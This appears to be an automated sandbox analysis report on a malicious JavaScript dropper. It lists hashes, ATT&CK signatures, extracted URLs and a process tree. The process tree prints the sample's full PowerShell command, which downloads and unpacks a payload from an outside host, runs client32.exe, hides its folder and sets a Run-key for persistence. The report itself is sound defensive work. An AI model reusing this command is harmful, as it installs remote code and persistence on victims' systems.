Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    06/07/2024, 03:06

General

  • Target

    348afd0b860223c0a3d36e3788c497c90285d21c426b25967a0f955e12874d06.js

  • Size

    7.3MB

  • MD5

    8a6083929086197c95518b8ce0bcabac

  • SHA1

    dbd7daf5830f884dfa4752b65b25bca2ceb5e8c2

  • SHA256

    348afd0b860223c0a3d36e3788c497c90285d21c426b25967a0f955e12874d06

  • SHA512

    667ed95353d152fe881c43c0f22e0826f8eb9b99572129a2d202526518bf0b0633ad58d56fc27badf794a66a3b4aaca16db576215b28f1fdfd4c014d45cb34e4

  • SSDEEP

    49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQH:a

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://helpcenter.cyou/help.php?9446

exe.dropper

http://helpcenter.cyou/help.php?9446

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\348afd0b860223c0a3d36e3788c497c90285d21c426b25967a0f955e12874d06.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $IIMPBVWCEM='http://helpcenter.cyou/help.php?9446';$JCGVORXL=(New-Object System.Net.WebClient).DownloadString($IIMPBVWCEM);$AFAIW=[System.Convert]::FromBase64String($JCGVORXL);$asd = Get-Random -Minimum -10 -Maximum 37; $AVER=[System.Environment]::GetFolderPath('ApplicationData')+'\VFQKHRIBA'+$asd;if (!(Test-Path $AVER -PathType Container)) { New-Item -Path $AVER -ItemType Directory };$p=Join-Path $AVER 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$AFAIW);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$AVER)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $AVER 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $AVER -Force; $fd.attributes='Hidden';$s=$AVER+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='LZTIEYORAZN';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1300

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/1300-4-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

          Filesize

          4KB

        • memory/1300-6-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB

        • memory/1300-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

          Filesize

          2.9MB

        • memory/1300-7-0x0000000002860000-0x0000000002868000-memory.dmp

          Filesize

          32KB

        • memory/1300-8-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB

        • memory/1300-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB

        • memory/1300-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB

        • memory/1300-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB

        • memory/1300-12-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB

        • memory/1300-13-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

          Filesize

          9.6MB